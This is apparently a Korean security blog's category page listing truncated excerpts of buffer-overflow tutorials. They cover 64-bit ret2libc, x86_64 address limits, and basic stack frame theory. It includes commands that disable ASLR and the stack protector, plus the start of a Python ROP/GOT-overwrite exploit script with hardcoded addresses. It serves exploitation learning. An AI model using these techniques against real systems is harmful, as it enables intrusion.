목록System/BOF (6)
Hacking Arts
출처 :http://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ vuln.c의 모습이다. 일단 ASLR과 SSP를 제거해야된다. /* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc */ /* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */ 이렇게 주석으로 나와있다. NX가 걸려있다. 32bit에서는 ret2lib공격을 위해서 거짓 스택을 만들어 함수를 호출하게된다. 전형적으로 system함수를 이용 /bin/sh을 실행시키게 된다. 64bit에서는 함수를 호출할때 파라미털 전달법이 레지스터를 사용..
0x01 x86과 x86_64의 차이점 메모리 주소크기가 64비트이지만 첫 47비트 공간만을 사용한다 그래서 0x00007fffffffffff 보다 큰 주소값을 지정했다가는 예외가 발생한다고 한다. 0x4141414141414141은 얘외가 발생하고 0x0000414141414141은 예외가 발생하지 않는다고 합니다. 즉 이게 문제인점은 우리가 만일 4개의 바이트를 빼고 덮으면 예외가 되지않고 정상실행이 되는거네요 퍼징할때는 아무래도 그냥 무작정 덮는데 만일 4byte를 빼고 퍼징이 돌려지면 취약점이 아닌것처럼 보여질수도 있겠다는 얘기가 되겠네요 0x02 취약한 코드 ` 이렇게 됩니다. 기본적으로 64bit환경에는 메모리 보호기법이 포함되어있어서 stack기반으로는 될수 없다고 보면됩니다. 그래서 컴파일..
#!/usr/bin/env python # # #ROP + GOT overwrite # # import struct p = lambda x : struct.pack("L",x)[0] # var strcpy = p(0x08048374) puts_got = [p(0x804975c),p(0x804975d),p(0x804975e),p(0x804975f)] puts_plt = p(0x8048394) ppr = p(0x8048588) bbs = [p(0x08049774),p(0x08049775),p(0x08049776),p(0x08049778),p(0x08049779),p(0x0804977a),p(0x0804977b)] hex_00 = p(0x0804976c) hex_1d = p(0x0804976e) hex_b7 ..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
Buffer Over Flow 1.알기전 알아 두어야 할 사항- stack frame구조에 대한 상식이 필요하다.- 프로세스가 메모리에 올라 갔을 때 어떤 방식으로 동작하는 지에 대한 이해가 필요하다.- 기본적인 어셈블리어와 레지스터에 대한 상식이 필요하다.- 즉, 전반적인 시스템 상식을 요구한다. 2.이론- BOF란 말 그대로 하면 Buffer라는 곳을 흘러 넘치게 하는 것이다.- 아래 그림을 이용해서 설명하도록 하겠다. 기본적으로 프로세스가 실행되면 push %ebp, mov %esp,%ebp 이런식으로 실행하게 된다. 이것을 stack frame이라고 부르는데 프로그램 내부에 함수가 호출 되었을 때 기존의 함수로 다시 돌아오기 위해 사용되는 것이다.- 그리고 저 구조가 끝나면 leave가 실행되고 ..